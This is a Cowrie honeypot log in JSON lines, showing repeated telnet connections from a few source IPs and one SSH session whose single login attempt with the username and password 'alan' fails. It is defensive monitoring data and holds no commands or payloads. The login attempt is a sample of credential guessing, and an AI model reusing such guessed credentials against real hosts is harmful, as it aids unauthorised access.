{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57126,"dst_ip":"159.203.135.109","dst_port":23,"session":"115b6ef41481","protocol":"telnet","message":"New connection: 69.6.225.50:57126 (159.203.135.109:23) [session: 115b6ef41481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.034328Z"}
{"eventid":"cowrie.session.closed","duration":30.446970224380493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.043651Z","src_ip":"69.6.225.50","session":"b59936a11f24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706650257110596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.054662Z","src_ip":"69.6.225.50","session":"76aeb2edba5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57140,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e9ff115e13e","protocol":"telnet","message":"New connection: 69.6.225.50:57140 (159.203.135.109:23) [session: 3e9ff115e13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.093469Z"}
{"eventid":"cowrie.session.closed","duration":30.39188575744629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.208429Z","src_ip":"69.6.225.50","session":"d108bde9ef8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57152,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f12a86d9db4","protocol":"telnet","message":"New connection: 69.6.225.50:57152 (159.203.135.109:23) [session: 6f12a86d9db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.231071Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57158,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aab5dc92371","protocol":"telnet","message":"New connection: 69.6.225.50:57158 (159.203.135.109:23) [session: 8aab5dc92371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.546380Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57044,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14c7d4d5c6b","protocol":"telnet","message":"New connection: 144.79.218.12:57044 (10.17.0.5:23) [session: a14c7d4d5c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.554398Z"}
{"eventid":"cowrie.session.closed","duration":31.287588119506836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:29.641347Z","src_ip":"69.6.225.50","session":"011ca0e23709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.205918788909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:30.051972Z","src_ip":"69.6.225.50","session":"3826e0295c4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85176682472229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:30.220614Z","src_ip":"69.6.225.50","session":"2e03c3718ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57154,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c898d68b9a4","protocol":"telnet","message":"New connection: 69.6.225.50:57154 (159.203.135.109:23) [session: 3c898d68b9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:30.549906Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57050,"dst_ip":"10.17.0.5","dst_port":23,"session":"9346dcfe9b15","protocol":"telnet","message":"New connection: 144.79.218.12:57050 (10.17.0.5:23) [session: 9346dcfe9b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:30.555807Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"3650dea8e98c","protocol":"telnet","message":"New connection: 144.79.218.12:57062 (10.17.0.5:23) [session: 3650dea8e98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:30.726069Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57172,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd561042e188","protocol":"telnet","message":"New connection: 69.6.225.50:57172 (159.203.135.109:23) [session: fd561042e188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:30.911595Z"}
{"eventid":"cowrie.session.closed","duration":30.54407835006714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:31.129293Z","src_ip":"69.6.225.50","session":"93e0e8c08d65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.022032260894775,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:31.298243Z","src_ip":"5.61.90.139","session":"148201b541b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57182,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec58ce5bccb","protocol":"telnet","message":"New connection: 69.6.225.50:57182 (159.203.135.109:23) [session: aec58ce5bccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:31.660220Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57066,"dst_ip":"10.17.0.5","dst_port":23,"session":"950ca08ccef1","protocol":"telnet","message":"New connection: 144.79.218.12:57066 (10.17.0.5:23) [session: 950ca08ccef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:31.711378Z"}
{"eventid":"cowrie.session.closed","duration":39.83791184425354,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:31.819208Z","src_ip":"5.61.90.139","session":"789c9a1b0e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57279706001282,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:31.961507Z","src_ip":"144.79.218.12","session":"fb4a279fc73b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7873055934906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:32.086936Z","src_ip":"69.6.225.50","session":"e2bc078dd6a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792996883392334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:32.107653Z","src_ip":"69.6.225.50","session":"4cac659d4838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68110489845276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:32.184084Z","src_ip":"144.79.218.12","session":"796bd45f5fd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57188,"dst_ip":"159.203.135.109","dst_port":23,"session":"485956318f73","protocol":"telnet","message":"New connection: 69.6.225.50:57188 (159.203.135.109:23) [session: 485956318f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:32.376917Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57202,"dst_ip":"159.203.135.109","dst_port":23,"session":"749bd7a78d88","protocol":"telnet","message":"New connection: 69.6.225.50:57202 (159.203.135.109:23) [session: 749bd7a78d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:32.452534Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57208,"dst_ip":"159.203.135.109","dst_port":23,"session":"83cd33b83120","protocol":"telnet","message":"New connection: 69.6.225.50:57208 (159.203.135.109:23) [session: 83cd33b83120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:32.896409Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57220,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c469503400f","protocol":"telnet","message":"New connection: 69.6.225.50:57220 (159.203.135.109:23) [session: 2c469503400f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:33.214841Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57226,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a5fcc5d8b75","protocol":"telnet","message":"New connection: 69.6.225.50:57226 (159.203.135.109:23) [session: 3a5fcc5d8b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:33.391798Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1e5e33db05c","protocol":"telnet","message":"New connection: 69.6.225.50:57234 (159.203.135.109:23) [session: a1e5e33db05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:33.476751Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57242,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba5b8bf58a3","protocol":"telnet","message":"New connection: 69.6.225.50:57242 (159.203.135.109:23) [session: 7ba5b8bf58a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:33.932472Z"}
{"eventid":"cowrie.session.closed","duration":30.524139404296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:34.077613Z","src_ip":"69.6.225.50","session":"9ee7bbf8bb7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56480884552002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:34.096700Z","src_ip":"69.6.225.50","session":"c920d4c4e67a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.447877645492554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:34.281889Z","src_ip":"69.6.225.50","session":"b13c2785ce33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59542107582092,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:34.587356Z","src_ip":"144.79.218.12","session":"7970d8cbb513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57248,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0da8b65da4","protocol":"telnet","message":"New connection: 69.6.225.50:57248 (159.203.135.109:23) [session: ac0da8b65da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:35.155298Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57264,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a97ddb0f93f","protocol":"telnet","message":"New connection: 69.6.225.50:57264 (159.203.135.109:23) [session: 8a97ddb0f93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:35.474339Z"}
{"eventid":"cowrie.session.closed","duration":42.59292197227478,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:35.932583Z","src_ip":"5.61.90.139","session":"3dc500f1db93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.756258487701416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:36.127951Z","src_ip":"69.6.225.50","session":"2a206a528701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01209831237793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:36.139761Z","src_ip":"69.6.225.50","session":"7942763cbc73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57266,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a5103761ab2","protocol":"telnet","message":"New connection: 69.6.225.50:57266 (159.203.135.109:23) [session: 2a5103761ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:36.384945Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57270,"dst_ip":"159.203.135.109","dst_port":23,"session":"37fbe8363706","protocol":"telnet","message":"New connection: 69.6.225.50:57270 (159.203.135.109:23) [session: 37fbe8363706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:36.394187Z"}
{"eventid":"cowrie.session.closed","duration":32.272255182266235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:36.893999Z","src_ip":"144.79.218.12","session":"f85ac91f0cb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646920680999756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:37.055782Z","src_ip":"69.6.225.50","session":"e200eb28d422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57276,"dst_ip":"159.203.135.109","dst_port":23,"session":"be85ceabaf08","protocol":"telnet","message":"New connection: 69.6.225.50:57276 (159.203.135.109:23) [session: be85ceabaf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:37.394208Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57076,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e630219353","protocol":"telnet","message":"New connection: 144.79.218.12:57076 (10.17.0.5:23) [session: c8e630219353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:37.704287Z"}
{"eventid":"cowrie.session.closed","duration":31.509711027145386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:37.867702Z","src_ip":"69.6.225.50","session":"ec019458ca85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67135763168335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:38.054294Z","src_ip":"69.6.225.50","session":"857c0df9764d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.44180703163147,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:38.252375Z","src_ip":"144.79.218.12","session":"ab108b210dcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56876,"dst_ip":"159.203.135.109","dst_port":23,"session":"f62831b30548","protocol":"telnet","message":"New connection: 69.6.225.50:56876 (159.203.135.109:23) [session: f62831b30548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:38.425768Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56888,"dst_ip":"159.203.135.109","dst_port":23,"session":"9078c0bd598f","protocol":"telnet","message":"New connection: 69.6.225.50:56888 (159.203.135.109:23) [session: 9078c0bd598f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:38.539615Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"443eb13324c1","protocol":"telnet","message":"New connection: 69.6.225.50:56904 (159.203.135.109:23) [session: 443eb13324c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:38.744884Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56912,"dst_ip":"159.203.135.109","dst_port":23,"session":"dff8f754fa4d","protocol":"telnet","message":"New connection: 69.6.225.50:56912 (159.203.135.109:23) [session: dff8f754fa4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:38.759207Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56916,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc100e946eb","protocol":"telnet","message":"New connection: 69.6.225.50:56916 (159.203.135.109:23) [session: 9fc100e946eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:38.998081Z"}
{"eventid":"cowrie.session.closed","duration":31.01179552078247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.076818Z","src_ip":"69.6.225.50","session":"1c12f46aa34e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56932,"dst_ip":"159.203.135.109","dst_port":23,"session":"803fb4a9e2c4","protocol":"telnet","message":"New connection: 69.6.225.50:56932 (159.203.135.109:23) [session: 803fb4a9e2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.405317Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56948,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b46abe0a08a","protocol":"telnet","message":"New connection: 69.6.225.50:56948 (159.203.135.109:23) [session: 1b46abe0a08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.543845Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56956,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2f213ba45a0","protocol":"telnet","message":"New connection: 69.6.225.50:56956 (159.203.135.109:23) [session: a2f213ba45a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.566305Z"}
{"eventid":"cowrie.session.closed","duration":31.592669010162354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.653263Z","src_ip":"69.6.225.50","session":"4d9ea241e02f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56958,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e1615094430","protocol":"telnet","message":"New connection: 69.6.225.50:56958 (159.203.135.109:23) [session: 7e1615094430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.700704Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56964,"dst_ip":"159.203.135.109","dst_port":23,"session":"97dffaa667ec","protocol":"telnet","message":"New connection: 69.6.225.50:56964 (159.203.135.109:23) [session: 97dffaa667ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.800035Z"}
{"eventid":"cowrie.session.closed","duration":32.17759847640991,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.834200Z","src_ip":"144.79.218.12","session":"de8fddd8f5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56968,"dst_ip":"159.203.135.109","dst_port":23,"session":"5587edc5ee57","protocol":"telnet","message":"New connection: 69.6.225.50:56968 (159.203.135.109:23) [session: 5587edc5ee57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.849237Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34446,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7d4c0fe01b","protocol":"ssh","message":"New connection: 159.203.92.129:34446 (159.203.135.109:22) [session: 7b7d4c0fe01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:39.996423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.007389Z","src_ip":"159.203.92.129","session":"7b7d4c0fe01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.014410Z","src_ip":"159.203.92.129","session":"7b7d4c0fe01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alan","password":"alan","message":"login attempt [alan/alan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.027536Z","src_ip":"159.203.92.129","session":"7b7d4c0fe01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.160956621170044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.046143Z","src_ip":"69.6.225.50","session":"ceefd8dafb91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54608,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75816522927","protocol":"telnet","message":"New connection: 144.79.218.12:54608 (10.17.0.5:23) [session: f75816522927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.079360Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":54620,"dst_ip":"10.17.0.5","dst_port":23,"session":"69b29c3f6bba","protocol":"telnet","message":"New connection: 144.79.218.12:54620 (10.17.0.5:23) [session: 69b29c3f6bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.107058Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56972,"dst_ip":"159.203.135.109","dst_port":23,"session":"703811fda963","protocol":"telnet","message":"New connection: 69.6.225.50:56972 (159.203.135.109:23) [session: 703811fda963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.147216Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56976,"dst_ip":"159.203.135.109","dst_port":23,"session":"a29ae65b8213","protocol":"telnet","message":"New connection: 69.6.225.50:56976 (159.203.135.109:23) [session: a29ae65b8213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.273466Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56982,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9c77401629d","protocol":"telnet","message":"New connection: 69.6.225.50:56982 (159.203.135.109:23) [session: e9c77401629d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.366900Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56986,"dst_ip":"159.203.135.109","dst_port":23,"session":"b993c13d39bd","protocol":"telnet","message":"New connection: 69.6.225.50:56986 (159.203.135.109:23) [session: b993c13d39bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:40.437442Z"}
